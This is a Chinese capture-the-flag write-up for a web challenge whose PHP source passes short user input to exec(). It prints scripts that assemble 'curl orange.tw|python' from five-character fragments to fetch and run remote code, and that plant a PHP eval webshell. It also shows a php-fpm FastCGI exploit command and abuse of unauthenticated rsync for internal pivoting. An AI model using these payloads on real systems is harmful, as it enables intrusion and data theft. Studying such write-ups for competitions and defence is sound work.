ctf473831530_2018_web_virink_web

/ 0评 / 0

ctf473831530_2018_web_virink_web

开局给了提示和源码:

Hint
1. flag is not here (this server)
2. python3
3. 脚本要骚才能 getflag
不准暴力!不准暴力!!不准暴力!!!
Source
<?php
    $sandbox = '/www/sandbox/' . md5('orange' . $_SERVER['REMOTE_ADDR']);
    mkdir($sandbox);
    chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 20) {
        exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        exec('/bin/rm -rf ' . $sandbox);
    }
    echo "<br /> IP : {\$_SERVER['REMOTE_ADDR']}";
?>

根据提示我们要拿到shell然后进行内网渗透
首先是20字符写webshell
通过 https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge
我们可以知道通过\的分隔符写shell

import requests
from time import sleep
from urllib import quote
payload = [
    # generate <code class="prettyprint" >ls -t>g file
    '>ls\\',
    'ls>_',
    '>\ \\',
    '>-t\\',
    '>\>g',
    'ls>>_',
    # generate curl orange.tw|python
    '>on',
    '>th\\',
    '>py\\',
    '>\|\\',
    '>tw\\',
    '>e.\\',
    '>ng\\',
    '>ra\\',
    '>o\\',
    '>\ \\',
    '>rl\\',
    '>cu\\',
    # exec
    'sh _',
    'sh g',
]
r = requests.get('http://52.199.204.34/?reset=1')
for i in payload:
    assert len(i) <= 5
    r = requests.get('http://52.199.204.34/?cmd=' + quote(i) )
    print i
    sleep(0.2)

根据他给的脚本。我们改一下写一个shell进去

import requests
url = 'http://fe36d40a-54c8-4c37-8ec0-5a480417ae27.node3.buuoj.cn/'
filename = [r'>echo\ \\',
            r">\'\<\?php \\",
            r'>eval\(',
            r'>\$_POST\[c\]\)',
            r">\;\'\>2.php"]
for i in filename:
    params = {
        'cmd': i
    }
    r = requests.get(url, params=params)
    print(i, r.status_code)
cmd = ['ls -tr>1.sh', 'sh 1.sh']
for i in cmd:
    params = {
        'cmd': i
    }
    r = requests.get(url, params=params)
    print(i, r.status_code)

然后访问/sandbox/xxxx/2.php即可访问webshell
蚁剑连接
一般buu是下一个ip是内网,通过hosts可知本机器

扫描端口发现在.11上发现开放了80,873,9000端口
根据p神的博客
9000对应php-fpm,873对应nsync
先来看一下php-fpm,php-fpm是为了fastcgi而实现的一个php解析器,而fastcgi是一种让客户端(web浏览器)与Web服务器(apache等)程序进行通信(数据传输)的协议,并且fastcgi解决了传统cgi效率低的问题,三者之间大概就是:
首先客户端向服务器发出请求,服务器接受请求,服务器中间件根据fastcgi的协议规则通过TCP传给相应的解析器php-fpm,解析器解析数据返回
如果这个9000端口暴露在公网,则我们可以自己构造fastcgi协议,和fpm进行通信。
原文链接: https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html
利用exp: https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

python3 fpm.py 173.211.53.11 /www/redirect.php -c \"<?php system('ls /');?>\"


查看权限发现

flag没有读取权限,使用到873端口rsync未授权访问
参考:https://www.cnblogs.com/leixiao-/p/10227086.html

发现配置文件
根据用法:rsync 127.0.0.1::src/7h1s_i5_f14g /tmp/

执行后拿到flag
 

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注